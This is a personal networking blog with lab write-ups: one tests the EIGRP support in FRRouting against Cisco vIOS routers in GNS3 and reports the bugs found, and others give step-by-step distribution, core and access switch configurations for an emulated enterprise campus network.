brezular

My name is Radovan Brezula and you are reading my personal blog. By way of introduction, let me tell you few words about me and my blog. I work as a professional soldier of the Slovak Armed Forces. I've been a Linux enthusiast since 2005. That time I fell in love with Fedora Linux. My relationship with my beloved Fedora was broken in 2013 when I started using Linux Debian.

I started with my blog in September 2010, at that time as a side project of my studies for Cisco certification. As the days went by, I added tutorials about emulation of various network devices from different vendors using GNS3. In case that you are looking for articles about running devices such as Cisco CSR 1000v, Quagga, VyOS, Open vSwitch, Atista, Alcatel-Lucent and others on Linux, the blog is the right place to start reading. You will also find here information about installation of machine emulators and virtualizers such as Qemu, KVM, VirtualBox, VMware Workstation on Debian and Fedora Linux.

If you wish to get in touch with me, here is my Google+ profile and Google+ page. You can also reach me via Facebook  or send me an email to chicany@gmail.com. If you think it is reasonable to send me an encrypt message, here is my public GPG key.

FRRouting Software with EIGRP Support

In September 2016 I wrote the article about EIGRP support in Quagga network routing suite. More than one year later, I am going to check the progress of development EIGRP in Linux again. To do so, I have installed a fork of Quagga -  FRRouting (FRR) with EIGRP support on Linux Core. EIGRP routing daemon included inside FRR benefits from active development brought by Cumulus employees. For the purpose of FRR testing, I have created a minimalistic Linux Core Pure64 virtual machine  with FRR suite compiled as frr extension. Meanwhile, I have submitted FRR extension so it will be available in the next few days in Tinycore repository.

Content of Disk - CorePure64-frr_3-1.vmdk:

  • Linux Core Pure 64 version 8.2,kernel 4.8.17
  • FRRouting 3.1dev
  • OpenSSL 1.0.2l 25 May 2017
  • OpenSSH_7.2p2
  • GNU bash, 4.4.0(1)
  • iproute2-ss140411
  • iptables v1.4.21
  • tcpdump 4.7.4
  • Nmap 7.12
  • mtr 0.86
  • hping 3.0.0-alpha-1
  • iperf 3.1b3
  • D-ITG 2.8.1 (r1023)

Software:

  • Host OS - Ubuntu 16.04.3 LTS x64
  • GNS3 2.0.3
  • QEMU x64 emulator version 2.8.0

Picture 1 - Network Topology

The FRR EIGRP instance with attached CorePure64-frr_3-1.vmdk disk is running inside GNS3 topology and it has assigned 512MB RAM. They are also two instances Cisco vIOS L3 in the network used for injecting routes towards FRR.

Note: The disk CorePure64-frr_3-1.vmdk (size 68MB)is available for download here. Login is tc and password is tc.

1. Basic Configuration

Initial configuration files for Cisco routers are: vIOS-I and vIOS-II. The configuration of FRR router will be shown later.

Note: Everytime you finish FRR configuration, issue the command below to keep the configuration changes after reboot.

$ /usr/bin/filetool.sh -b

Login with user tc and password tc.

Change the default hostname to FRR.

$ echo "hostname FRR" >> opt/bootlocal.sh

Delete previous configuration of all routing daemons using Linux Core Pure shell.

$ sudo su
# echo > /usr/local/etc/frr/zebra.conf
# echo > /usr/local/etc/frr/ripd.conf
# echo > /usr/local/etc/frr/ripngd.conf
# echo > /usr/local/etc/frr/ospfd.conf
# echo > /usr/local/etc/frr/ospf6d.conf
# echo > /usr/local/etc/frr/ldpd.conf
# echo > /usr/local/etc/frr/bgpd.conf
# echo > /usr/local/etc/frr/isisd.conf
# echo > /usr/local/etc/frr/pimd.conf
# echo > /usr/local/etc/frr/eigrpd.conf
# echo > /usr/local/etc/frr/babeld.conf

Save changes and reboot the box.

$ /usr/bin/filetool.sh -b
# reboot

After reboot, start FRR console and configure Ethernet interfaces and EIGRP daemon.

tc@box:~$ vtysh

Hello, this is FRRouting (version 3.1-dev).
Copyright 1996-2005 Kunihiro Ishiguro, et al.

box# conf t
box(config)# hostname FRR

FRR(config)# interface eth0
FRR(config-if)# ip address 10.10.1.1/24
FRR(config-if)# no shutdown

FRR(config)# interface eth1
FRR(config-if)# ip address 192.168.1.1/24
FRR(config-if)# no shutdown

box(config)# router eigrp 1
box(config-router)# network 10.10.1.0/24
box(config-router)# network 192.168.1.0/24
FRR(config-router)# exit

Exit vtysh shell and save configuration.

$ /usr/bin/filetool.sh -b

Now inspect a routing table (RT) of FRR router. Notice that all the received EIGRP routes are presented in RT.

Picture 2 - FRR Routing Table

Similarly, the both Cisco routers vIOS-I and vIOS-II have installed the routes received from FRR.

Picture 3 - Routing Table of vIOS-II

In a next part, we slightly modify the configuration on all routers in order to check whether FRR reflects the configuration changes and discover possible bugs.

1. FRR Cannot Remove No Longer Advertised Routes from EIGRP Neighbor 

Stop announcing the network 192.168.3.0/24 on the router vIOS-I router with the command below .

vIOS-I(config)# router eigrp 1
vIOS-I(config-router)# no network 192.168.3.0

The expected result is a removal of network 192.168.3.0/24 from FRR and vIOS-II routing tables. However, the route is deleted only from a RT of vIOS-II. The router FRR keeps it installed in its routing table forever. We can confirm that the routes are kept also in EIGRP topology table of FRR. This is the first bug we have discovered so far.

Picture 4 - EIGRP Table of FRR Router Keeps Route 192.168.3.0/24

2. Static Default Routes Redistribution Issues

First, we create a default static route on the vIOS-I router pointing toward the interface Gi0/3. Afterwards we will redistribute the static route in two different ways.

vIOS-I(config)# ip route 0.0.0.0 0.0.0.0 GigabitEthernet 0/3

Note: We use the static default route 0.0.0.0/0 in our test however our findings are valid for any static route.

2.1 Redistributing Static Route from vIOS-I Router with Network Command on Cisco Router

Notice that route 0.0.0.0/0 is installed as an internal route in the RT of the router vIOS-II.

Picture 5 - EIGRP Internal Route 0.0.0.0/0 Installed into RT of vIOS-II

The route is also installed in the RT of FRR router. It is not a surprise as the FRR previously installed the EIGRP internal routes (admin distance 90) successfully.

Picture 6 - Routing Table of FRR with Received Static Default Route 0.0.0.0/0

2.2 Redistributing Static Route from vIOS Router with Redistribute Command via EIGRP on Cisco Router

Firstly, we stop announcing the network 0.0.0.0/0 on VIOS-I router. We will redistribute the route with the command redistribute static instead.

vIOS-I(config)# router eigrp 1
vIOS-I(config-router)# no network 0.0.0.0
vIOS-I(config-router)# redistribute static

Inspect a routing table of vIOS-II again and display only the route 0.0.0.0/0.

Picture 7 - Routing Table of Router vIOS-II with Installed Route 0.0.0.0/0

The route 0.0.0.0/0 is installed in RT of vIOS-II but the admin distance for EIGRP route is changed to 170 (external route). However, the RT of FRR is being kept untouched as it is shown on the Picture 6. Knowing that FRR has issue with removing the EIGRP routes, we will reboot FRR and start vtysh shell again.

Picture 8 - Routing Table of FRR Instance After Reboot Without Route 0.0.0.0/0

Although FRR does not install the external EIGRP routes even after reboot of Core Linux, the route 192.168.3.0/24 has gone from RT at least. We have discovered a second bug showing that EIGRP daemon inside FRR cannot install EIGRP external routes.

2.3 FRR Cannot Redistribute Static Routes with Network Command via EIGRP

We are going to check whether FRR can redistribute a static default route pointing to the interface eth1 via EIGRP using the network command. Firstly, remove a  static route redistribution command on vIOS-I router.

vIOS-I(config)# router eigrp 1
vIOS-I(config-router)# no redistribute static

Create a static default route 0.0.0.0/0 on FRR router and redistribute it with the network command.

FRR(config)# ip route 0.0.0.0/0 eth1
FRR(config)# router eigrp 1
FRR(config-router)# network 0.0.0.0/0

Picture 9 -Static Default Route Missing in Routing Table of vIOS-II

The static default route created on FRR and redistributed with network command is not presented in routing tables'  of both Cisco routers.  It is the third discovered bug and a prove that FRR cannot redistribute static routes via EIGRP.

2.4 FRR Cannot Redistributes Static Routes with Redistribute Command via EIGRP

In this test, we will try to redistribute a static default route created on FRR with redistribute static command.

FRR(config)# router eigrp 1
FRR(config-router)# no network 0.0.0.0/0
FRR(config-router)# redistribute static

Again, the route 0.0.0.0/0 is not presented in the EIGRP topology table on both Cisco routers. So far we have proved that EIGRP daemon cannot redistribute the static default route in any way.

Picture 10 - Static Default Route is Missing in EIGRP Table of Router vIOS-I

3. Routes Stays Forever in EIGRP Topology Table of FRR Even Peer is Down

Shutdown vIOS-I router. The router FRR loses EIGRP neighbor 10.10.1.2 (vIOS-I) however the routes received from the peer are kept in EIGRP topology table of FRR.

Picture 11 - FRR Keeps Routes from vIOS-I in  EIGRP Table 

Notice the unknown next hop IP address 144.80.20.1 in the output. The IP address changes every time the show command is entered.

Picture 12 - EIGRP Table of FRR with Strange Next Hop IP Address 96.79.20.1

4. Segmentation Fault Issues

FRR does not properly sanitize user's inputs. For instance, issue the command below under EIGRP configuration. As a result, you are kicked out from vty shell.

FRR(config-router)# network 0.0.0.0 ?

Picture 13 - FRR Segmentation Fault When User's Input is Not Sanitized

5. EIGRP Daemon Crash

The following command kill the EIGRP daemon process completely.

FRR(config)# interface eth0
FRR(config-if)# eigrp bandwidth 1000

Picture 14 - EIGRP Daemon Crash

Conclusion

EIGRP daemon inside FRRouting is partially operational but it is not ready for use in a real environment. The good news is that EIGRP is under active development thus existing bugs might be fixed in the next FRRrouting release.

 

Enterprise Network on GNS3 - Part 3 - Distribution and Core Layers

This is the third from the series of the articles that discuss configuration of the entire enterprise network. The article focuses on the configuration of the distribution and core switches. The distribution layer consists of two multilayer switches vEOS-DIS-I and vEOS-DIS-II. The switches are Arista vEOS version 4.17.2F Qemu appliances installed on VMware disks. Each appliance has assigned 1536 MB RAM.

The distribution switches route traffic between end user VLANs and they connect the lower layer network to a Core layer. The layer 3 (routed) interfaces connect both distribution switches to each other and to the Core switches.  The interfaces toward the Access layer are layer 2 (switchports). The OSPF routing protocol is running on the distribution switches so there is only l3 connectivity between distribution and core layer.

Picture 1 - Distribution and Core Layers of Enterprise Campus Network

Note: The configuration files of the distribution switches are: vEOS-DIS-I and  vEOS-DIS-II.

The core layer consists of the switches vIOS-Core-I and vIOS-Core-II. These are the Cisco vIOS-l2 Qemu appliances on qcow2 disks, version 15.2. Each switch has assigned 768 MB RAM by GNS3. The core layer is completely layer3. It si connected to the lower distribution layer with l3 P2P links configured with the IP addresses from the subnet 10.0.0.0/24.  The core switches connect distribution and access layers to Cisco Adaptive Security Virtual Appliance (ASAv) configured with the IP addresses from the subnet 172.16.0.0/24.

Note: The configuration files of the core switches are: vIOS-Core-I and vIOS-Core-II.

1. Distribution Switch vEOS-DIS-I Configuration

Login to the Arista appliance with a default username admin, no password is set. The EOS CLI is Cisco like. As a first step, configure the hostname.

1.1. vEOS-Dis-I Configuration

localhost> en
localhost# conf t
localhost(config)# hostname vEOS-Dis-I

1.2 Vlan Configuration

vEOS-Dis-I(config)# vlan 10
vEOS-Dis-I(config-vlan-10)# vlan 20
vEOS-Dis-I(config-vlan-20)# vlan 30
vEOS-Dis-I(config-vlan-30)# vlan 40
vEOS-Dis-I(config-vlan-40)# exit

1.3 IP Address and Trunk Port Configuration

Assign the IP address 10.1.1.1/32 from the subnet 10.1.1.0/24 to the loopback interface . The interface is used for switch management.

vEOS-Dis-I(config)# interface loopback 0
vEOS-Dis-I(config-if-Lo0)# ip address 10.1.1.6/32

Now configure trunk ports. Trunk ports are layer2 interfaces (switchports) that carry traffic from multiple VLANs. Ethernet ports Eth4 and Eth5 are configured as trunks on both distribution switches.

vEOS-Dis-I(config)# interface eth4
vEOS-Dis-I(config-if-Et4)# description Link to OpenSwitch-Acc-I
vEOS-Dis-I(config-if-Et4)# switchport
vEOS-Dis-I(config-if-Et4)# switchport mode trunk
vEOS-Dis-I(config-if-Et4)# switchport trunk allowed vlan 10,20
vEOS-Dis-I(config-if-Et4)# no shutdown
vEOS-Dis-I(config-if-Et4)# exit

vEOS-Dis-I(config)# interface eth5
vEOS-Dis-I(config-if-Et5)# description Link to OpenSwitch-Acc-II
vEOS-Dis-I(config-if-Et5)# switchport
vEOS-Dis-I(config-if-Et5)# switchport mode trunk
vEOS-Dis-I(config-if-Et5)# switchport trunk allowed vlan 30,40
vEOS-Dis-I(config-if-Et5)# no shutdown
vEOS-Dis-I(config-if-Et4)# exit

The ports Eth6 on the both distribution switches are the layer3 (routed) interfaces that connect the management port of the particular access switch to the network. They have the IP addresses assigned from the network 10.1.1.0/24.

vEOS-Dis-I(config)# interface eth6
vEOS-Dis-I(config-if-Et6)# description Link to Management OpenSwitch-Acc-I
vEOS-Dis-I(config-if-Et6)# no switchport
vEOS-Dis-I(config-if-Et6)# ip address 10.1.1.10/30
vEOS-Dis-I(config-if-Et6)# no shutdown
vEOS-Dis-I(config-if-Et6)# exit

The port eth3 is a routed port between distribution switches. As the port is layer3, there is not a a loop for Ethernet frames thus STP is not needed. All point-to-point (p2p) links in the campus netwrok have IP addresses assigned from the subnet 10.0.0.0/24.

vEOS-Dis-I(config)# interface eth3
vEOS-Dis-I(config-if-Et3)# description Link to vEOS-Dis-II
vEOS-Dis-I(config-if-Et3)# no switchport
vEOS-Dis-I(config-if-Et3)# ip address 10.0.0.1/30
vEOS-Dis-I(config-if-Et3)# no shutdown
vEOS-Dis-I(config-if-Et3)# exit

The ports Eth1 and Eth2 connect a distribution switch to the core switches vIOS-Core-I and vIOS-Core-II.

vEOS-Dis-I(config)# interface eth1
vEOS-Dis-I(config-if-Et1)# description Link to vIOS-Core-II
vEOS-Dis-I(config-if-Et1)# no switchport
vEOS-Dis-I(config-if-Et1)# ip address 10.0.0.21/30
vEOS-Dis-I(config-if-Et1)# no shutdown
vEOS-Dis-I(config-if-Et1)# exit

vEOS-Dis-I(config)# interface eth2
vEOS-Dis-I(config-if-Et2)# description Link to vIOS-Core-I
vEOS-Dis-I(config-if-Et2)# no switchport
vEOS-Dis-I(config-if-Et2)# ip address 10.0.0.9/30
vEOS-Dis-I(config-if-Et2)# no shutdown
vEOS-Dis-I(config-if-Et2)# exit

Shutdown and describe unused Interfaces to prevent connect another network device accidentally.

vEOS-Dis-I(config)# interface eth7
vEOS-Dis-I(config-if-Et7)# desc Unused
vEOS-Dis-I(config-if-Et7)# shutdown
vEOS-Dis-I(config-if-Et7)# exit

1.4 Switch Virtual Interfaces and IP Addresses Configuration

We have to create SVI interfaces on both switches and assign particular IP addresses to SVI in order to route between VLAN subnets. The switch vEOS-Dis-I has the IP address 192.168.x.253/24 configured on the interface SVI10, 20, 30 and 40, where x is the VLAN_ID.

vEOS-Dis-I(config)# interface vlan 10
vEOS-Dis-I(config-if-Vl10)# ip address 192.168.10.253/24
vEOS-Dis-I(config-if-Vl10)# no shutdown
vEOS-Dis-I(config-if-Vl10)# exit

vEOS-Dis-I(config)# interface vlan 20
vEOS-Dis-I(config-if-Vl20)# ip address 192.168.20.253/24
vEOS-Dis-I(config-if-Vl20)# no shutdown
vEOS-Dis-I(config-if-Vl20)# exit

vEOS-Dis-I(config)# interface vlan 30
vEOS-Dis-I(config-if-Vl30)# ip address 192.168.30.253/24
vEOS-Dis-I(config-if-Vl30)# no shutdown
vEOS-Dis-I(config-if-Vl30)# exit

vEOS-Dis-I(config)# interface vlan 40
vEOS-Dis-I(config-if-Vl40)# ip address 192.168.40.253/24
vEOS-Dis-I(config-if-Vl40)# no shutdown
vEOS-Dis-I(config-if-Vl40)# exit

Note: The same SVI interfaces are configured with the IP address 192.168.x.252/24 on the switch vEOS-DIs_II.

1.5 OSPF Protocol and Authentication Configuration

Enable IP routing on the switch with the command below.

vEOS-Dis-I(config)# ip routing

We need to configure Open Shortest Path First (OSPF) to ensure that routes are propagated inside the campus and DC network. However routing updates should be to suppressed  on the trunk ports, SVI interfaces and connected management interface of the Access switch. For this reason we configure the interfaces as passive interfaces. Thanks to it, OSPF Hello messages are not sent out of these ports thus adjacency is not formed. This measue also saves CPU cycles of the switch.

vEOS-Dis-I(config)# router ospf 1
vEOS-Dis-I(config-router-ospf)# router-id 10.1.1.6
vEOS-Dis-I(config-router-ospf)# network 10.1.1.6/32 area 0
vEOS-Dis-I(config-router-ospf)# network 10.1.1.8 0.0.0.3 area 0
vEOS-Dis-I(config-router-ospf)# network 10.0.0.0/30 area 0
vEOS-Dis-I(config-router-ospf)# network 10.0.0.20/30 area 0
vEOS-Dis-I(config-router-ospf)# network 10.0.0.8/30 area 0
vEOS-Dis-I(config-router-ospf)# network 192.168.10.0/24 area 0
vEOS-Dis-I(config-router-ospf)# network 192.168.20.0/24 area 0
vEOS-Dis-I(config-router-ospf)# network 192.168.30.0/24 area 0
vEOS-Dis-I(config-router-ospf)# network 192.168.40.0/24 area 0
vEOS-Dis-I(config-router-ospf)# passive-interface ethernet 4
vEOS-Dis-I(config-router-ospf)# passive-interface ethernet 5
vEOS-Dis-I(config-router-ospf)# passive-interface Ethernet 6
vEOS-Dis-I(config-router-ospf)# passive-interface vlan 10,20,30,40

The password authentication for OSPF neighbors using Message-Digest algorithm 5 (MD5) is configured in order exchange routing updates in a secure manner. To avoid Designated Router (DR) and Backup DR (BDR) election on routed p2p Ethernet links between distribution and Core layer and between distribution switches themsleves, we have to tune OSPF. We will change the default OSPF broadcast network type to OSPF Point-to-Point type. It will reduce the time needed for establishing adjacency because election of the DR and BDR is not performed in this case.

vEOS-Dis-I(config)# interface eth1
vEOS-Dis-I(config-if-Et1)# ip ospf authentication message-digest
vEOS-Dis-I(config-if-Et1)# ip ospf message-digest-key 1 md5 #MyPass!034
vEOS-Dis-I(config-if-Et1)# ip ospf network point-to-point

vEOS-Dis-I(config-if-Et1)# int eth2
vEOS-Dis-I(config-if-Et2)# ip ospf authentication message-digest
vEOS-Dis-I(config-if-Et2)# ip ospf message-digest-key 1 md5 #MyPass!034
vEOS-Dis-I(config-if-Et2)# ip ospf network point-to-point

vEOS-Dis-I(config-if-Et2)# int eth3
vEOS-Dis-I(config-if-Et3)# ip ospf authentication message-digest
vEOS-Dis-I(config-if-Et3)# ip ospf message-digest-key 1 md5 #MyPass!034
vEOS-Dis-I(config-if-Et3)# ip ospf network point-to-point

Picture 2 - Checking OSPF Neighbor Adjacency

1.6 VRRP  Configuration

The Virtual Router Redundancy Protocol (VRRP) is an election protocol that provides automatic assignment of the IP address one of the VRRP routers on the LAN. The VRRP router controlling the IP address associated with a virtual router is called the Master. The Master forwards packets sent to this IP address. The switch vEOS-DIS-I is a Master for the VLAN10 and 20 and it forwards packets that are sent to the IP address 192.168.10.254 and 192.168.20.254 (default gateway). It also acts as a VRRP Backup router for the VLAN30 and 40, forwarding packets from these VLANs in case the Master server (vEOS-DIS-II)  fails. Similarly, the vEOS-DIS-II is a Master server for VLAN30 and 40 and the Backup server for VLANs 10 and 20. The priority configured for a VRRP router determines whether the router becomes a Master. The router with a higher priority has the higher probability to be elected as  Master router.  The switch vEOS-DIS-I has configured VRRP priority 150 for the SVI interfaces 10 and 20, while the switch vEOS-DIS-II uses the default priority 100 for these interfaces. For this reason, the switch vEOS-DIS-I wins an election process and becomes a Master for the VLANs 10 and 20.

Note: The switch VRRP virtual IP addresses (192.168.x.254, where x is VLAN ID) are the default gateway IP addresses and they are assigned by DHCP server to clients.

vEOS-Dis-I(config)# interface vlan 10
vEOS-Dis-I(config-if-Vl10)# vrrp 10 priority 150
vEOS-Dis-I(config-if-Vl10)# vrrp 10 ip 192.168.10.254
vEOS-Dis-I(config-if-Vl10)# vrrp 10 authentication ietf-md5 key-string MiKei10!

vEOS-Dis-I(config)# interface vlan 20
vEOS-Dis-I(config-if-Vl20)# vrrp 20 priority 150
vEOS-Dis-I(config-if-Vl20)# vrrp 20 ip 192.168.20.254
vEOS-Dis-I(config-if-Vl20)# vrrp 20 authentication ietf-md5 key-string Mikei10!

vEOS-Dis-I(config)# interface vlan 30
vEOS-Dis-I(config-if-Vl30)# vrrp 30 priority 100
vEOS-Dis-I(config-if-Vl30)# vrrp 30 ip 192.168.30.254
vEOS-Dis-I(config-if-Vl30)# vrrp 30 authentication ietf-md5 key-string MiKei10!

EOS-Dis-I(config)# interface vlan 40
vEOS-Dis-I(config-if-Vl40)# vrrp 40 priority 100
vEOS-Dis-I(config-if-Vl40)# vrrp 40 ip 192.168.40.254
vEOS-Dis-I(config-if-Vl40)# vrrp 40 authentication ietf-md5 key-string MiKei10!

Note: We also configure MD5 authentication in order to avoid rogue VRRP server to participate in an election process and potentially become a Master. This is prevention against Man-in-the-Middle attack.

Picture 3 - Checking VRRP States

1.7 NTP Configuration

The time is synchronized with NTP server running on the Server1 (172.16.50.1).

vEOS-Dis-I(config)# ntp server 172.16.50.1
vEOS-Dis-I(config)# clock timezone Europe/Bratislava
vEOS-Dis-I(config)# ntp source loopback 0

Picture 4 - Checking NTP Synchronization Status

1.8 IP Helper Address Configuration

The DHCP server for the PCs assigned to VLANs 10, 20 and 20 is running on the Server1 (172.16.50.1). The DHCP is located in the different subnets than PCs. For this reason we have to enable DHCP relay agent on the SVI interfaces with the command ip helper-address. The command enables the DHCP broadcast to be forwarded to the configured DHCP server as unicasts.

vEOS-Dis-I(config)# interface vlan 10
vEOS-Dis-I(config-if-Vl10)# ip helper-address 172.16.50.1
vEOS-Dis-I(config-if-Vl10)# exit
vEOS-Dis-I(config)# interface vlan 20
vEOS-Dis-I(config-if-Vl20)# ip helper-address 172.16.50.1
vEOS-Dis-I(config-if-Vl20)# exit
vEOS-Dis-I(config)# interface vlan 30
vEOS-Dis-I(config-if-Vl30)# ip helper-address 172.16.50.1
vEOS-Dis-I(config-if-Vl20)# exit

Note: We do not need to configure IP helper address for an interface Vlan40 as all the devices in Management VLAN40 have statically configured IP addresses.

1.9 DNS Server Configurations

vEOS-Dis-I(config)# ip name-server 172.16.50.1

Picture 5 - Checking DNS Configuration Pinging Cisco.com

1.10 Radius Client Configuration

We use Remote Authentication Dial-In User Service (RADIUS) for centralized authentication of user logging to network devices. The Radius server is running on Server1 (172.16.50.1). First, we create a local user with full access in case RADIUS server is not reachable.

vEOS-Dis-I(config)# username admin privilege 15 secret cisco

We will do the same for access to a privileged exec mode.

vEOS-Dis-I(config)# enable secret cisco

A RADIUS server and a Cisco router use a shared secret text string to encrypt passwords and exchange responses. To configure RADIUS to use the AAA security commands, we must specify the host running the RADIUS server daemon and a secret text (key) string that it shares with the router.

vEOS-Dis-I(config)# radius-server host 172.16.50.1 auth-port 1812 acct-port
vEOS-Dis-I(config)# radius-server key test123

Define a source interface.

vEOS-Dis-I(config)# ip radius source-interface loopback 0

Define login method. Radius will be used first and if it is not available  a local user authentication is used instead.

vEOS-Dis-I(config)# aaa authentication login default group radius local

Enable privileged exec mode authentication. First, we are authenticated against the privileged exec password defined in Radius server. If Radius server is not available then locally configured privileged exec password authentication will be used.

vEOS-Dis-I(config)# aaa authentication enable default group radius local

To use Radius server for login to console and VTY we need to enable authorization for console and for exec terminal session.

vEOS-Dis-I(config)# aaa authorization console
vEOS-Dis-I(config)# aaa authorization exec default group radius local

To see the current logged in users and their user-roles use the command show aaa sessions. The username raadmin defined on RADIUS server is logged.

Picture 6 - Checking Logged Users when RADIUS Is Reachable  

Now we will use the same command when RADIUS server is not reachable. In this case a local user admin is used for logging to console of the switch.

Picture 7 -Checking Logged Users when RADIUS Is Not Reachable  

1.11 Logging Configuration

To ensure that logs are stored on a centralized syslog-ng server running on Server1 (172.16.50.1) we will configured following:

Set syslog server logging level 5 - notification.

vEOS-Dis-I(config)# logging trap notifications

Set syslog server IP address and parameters.

vEOS-Dis-I(config)# logging host 172.16.50.1

Configure logging source interface.

vEOS-Dis-I(config)# logging source-interface Loopback0

Log messages are stored in the directory /var/log/syslog-ng/10.1.1.6/. We collect log messages with the severity notice level 5 and lower (0 - system unusable, 7 - debug).

2. Distribution Switch vEOS-DIS-II Configuration

The configuration of the second distribution switch vEOS-DIS-II is similar to the configuration of the switch vEOS-DIS-I. Therefore I only share the configuration of the switch without further explanation.

3. Core Switches vIOS-Core-I and vIOS-Core-II Configuration

The configuration of the both core switches is  straightforward so it does not need any explanation. For his reason, I have just attached the configuration files at the begging of the tutorial.

 

Enterprise Network on GNS3 - Part 2 - Access Layer

This is the second from the series of the articles that discuss a complete configuration of the enterprise network. Our enterprise campus network consists of the core, distribution and access layer. This network infrastructure design is called a three-tier network model. Each layer has specific function. The access layer provides access for end users to the network . They are two access switches located inside the access layer. The access switches OpenSwitch-Acc-I and OpenSwitch-Acc-II are OpenSwitch Qemu appliances installed on VMware VMDK disks. The switches run OpenSwitch network OS version 0.4.0 and they have assigned 1024 MB memory by GNS3. More details about building OpenSwitch appliance prior to version 2.0 can be found here.

The ports Ethernet 3 a and 4 on both switches are configured as access ports and they connect PC1 and PC4 to the campus network. The ports Ethernet 1 and Ethernet 2 are uplinks that connect access switches to the distribution switches. They are configured as trunk ports, carrying traffic from multiple VLANs. Thanks to redundant uplink connection, the access switches remain connected to the upper layer, even in case of the failure one of the distribution switches.

Picture 1 - Access Switches Connected to Distribution Layer

End user computers are assigned to VLANs 10, 20, 30 and 40. Thanks to segmentation to VLAN, user traffic is sent to the distribution layer without being spread across the other access switches in campus. The PC4 is connected to the port Ethernet 4 that is assigned to the management VLAN 40. Management of the access switches is provided by connection of the management port Ethernet0 to the port Ethernet6 of the particular distribution switch. The both ports are configured as the routed (layer3) ports and they have assigned IP addresses from the subnet with /30 mask.

The Switch Virtual Onterface (SVI) created on both access switches allow the access switches to synchronize their time with NTP server running on the appliance Server1 172.16.50.1 in the Data Center (DC). The switches also send logs to the syslog-ng server installed on the same appliance.

Note: The configuration files of the both access switches are: OpeSwitch-Acc-I and OpenSwitch-Acc-II.

1. OpenSwitch-Acc-I Configuration

Login to the OpenSwitch OpenSwitch-Acc-I appliance with the default username netop and the password netop. As a first step, we will change the hostname.

switch# conf t
switch(config)# hostname OpenSwitch-Acc-I

1.1 VLANs Configuration

The VLANs 10,20 are end user VLANs. The VLAN 999 is "parking" VLAN that is configured on ports that are not used. If someone accidentally brings disabled switchports up, the connection is not working. It is because the VLAN 999 is not configured on uplink trunk ports.

OpenSwitch-Acc-I(config)# vlan 10
OpenSwitch-Acc-I(config-vlan)# no shutdown
OpenSwitch-Acc-I(config)# vlan 20
OpenSwitch-Acc-I(configb-vlan)# no shutdown
OpenSwitch-Acc-I(config)# vlan 999
OpenSwitch-Acc-I(config-vlan)# no shutdown
OpenSwitch-Acc-I(config-vlan)# exit

Note: If you encounter strange connectivity problem that you cannot troubleshoot, restart of the particular VLAN might help.

1.2 IP Address and Trunk Port Configuration

In order to access the switches remotely, we have to configure the appropriate IP address and mask on the management port. The management port mgmt is the only interface that is presented in underlying Linux Yocto Linux (except the loopback). However it can by comfortably configured using OpenSwitch CLI.

OpenSwitch-Acc-I(config)# interface mgmt
OpenSwitch-Acc-I(config-if-mgmt)# ip static 10.1.1.9/30
OpenSwitch-Acc-I(config-if-mgmt)# default-gateway 10.1.1.10
OpenSwitch-Acc-I(config-if-mgmt)# nameserver 172.16.50.1
OpenSwitch-Acc-I(config-if-mgmt)# exit

The access switch OpenSwitch-Acc-I has configured SVI20 interface. It allows the switch to access the Server1 located in a DC.

OpenSwitch-Acc-I(config)# interface vlan 20
OpenSwitch-Acc-I(config-if-vlan)# ip address 192.168.20.250/24
OpenSwitch-Acc-I(config-if-vlan)# no shutdown
OpenSwitch-Acc-I(config-if-vlan)# exit

OpenSwitch-Acc-I(config)# int eth1
OpenSwitch-Acc-I(config-if)# no routing
OpenSwitch-Acc-I(config-if)# vlan trunk allowed 10,20
OpenSwitch-Acc-I(config-if)# no shutdown

OpenSwitch-Acc-I(config-if)# int eth2
OpenSwitch-Acc-I(config-if)# no routing
OpenSwitch-Acc-I(config-if)# vlan trunk allowed 10,20
OpenSwitch-Acc-I(config-if)# no shutdown

OpenSwitch-Acc-I(config-if)# int eth3
OpenSwitch-Acc-I(config-if)# no routing
OpenSwitch-Acc-I(config-if)# vlan access 10
OpenSwitch-Acc-I(config-if)# no shutdown

OpenSwitch-Acc-I(config-if)# int eth4
OpenSwitch-Acc-I(config-if)# no routing
OpenSwitch-Acc-I(config-if)# vlan access 20
OpenSwitch-Acc-I(config-if)# no shutdown

Secure unused interfaces.

OpenSwitch-Acc-I(config-if)# int eth5
OpenSwitch-Acc-I(config-if)# no routing
OpenSwitch-Acc-I(config-if)# vlan access 999
OpenSwitch-Acc-I(config-if)# shutdown

OpenSwitch-Acc-I(config-if)# int eth6
OpenSwitch-Acc-I(config-if)# no routing
OpenSwitch-Acc-I(config-if)# vlan access 999
OpenSwitch-Acc-I(config-if)# shutdown

OpenSwitch-Acc-I(config-if)# int eth7
OpenSwitch-Acc-I(config-if)# no routing
OpenSwitch-Acc-I(config-if)# vlan access 999
OpenSwitch-Acc-I(config-if)# shutdown
OpenSwitch-Acc-I(config-if)# exit

To allow the access switch reach NTP and syslog server in the DC, we have to create a static default route for the switch.

OpenSwitch-Acc-I(config)# ip route 0.0.0.0/0 192.168.20.254

1.3 NTP Configuration

OpenSwitch-Acc-I(config)# ntp server 172.16.50.1
OpenSwitch-Acc-I(config)# timezone set europe/bratislava

Picture 2 - Time Synchronization with NTP Server 172.16.50.1

1.4 Logging

Logs are sent to the syslog-ng server 172.16.50.1 and stored in the directory /var/log/syslog-ng/192.168.20.250/. We collect log messages with the severity notice level 2 and above (0 - debug, 7 - emergency).

OpenSwitch-Acc-I(config)# logging 172.16.50.1 severity notice

1.5 Password Configuration

Even OpenSwitch version 4.0.0 supports Radius client configuration I was not successful with remote login authentication using Radius server. Therefore we will only change password for default local accounts. To do so we need to switch to underlying Linux Yocto OS. Login as root with no password set and change passwords to cisco for all the accounts below.

root@OpenSwitch-Acc-I:~# passwd root
root@OpenSwitch-Acc-I:~# passwd admin
root@OpenSwitch-Acc-I:~# passwd netop

2. OpenSwitch-Acc-II Configuration

The configuration of the switch OpenSwitch-Acc-II is similar to the configuration of the switch OpenSwitch-Acc-II. Therefore I only share the configuration without further explanation.

3. PCs Configuration

The PC4 is used for administration of network devices in the topology therefore it has statically configured IP address. The other PCs have their IP addresses assigned from the DHCP server 172.16.50.1. All PCs are Core LInux Qemu appliances, running Core Linux 6.3. They have assigned 64MB RAM by GNS3. Below is a static IP address configuration for PC4.

$ vim /opt/bootlocal.sh

hostname PC4
ifconfig eth0 192.168.40.1 netmask 255.255.255.0
route add default gw 192.168.40.254
echo "nameserver 172.16.50.1" > /etc/resolv.conf

To save configuration we need to enter the command below.

$ /usr/bin/filetool.sh -b

 

Enterprise Network on GNS3 - Part 1 - Introduction

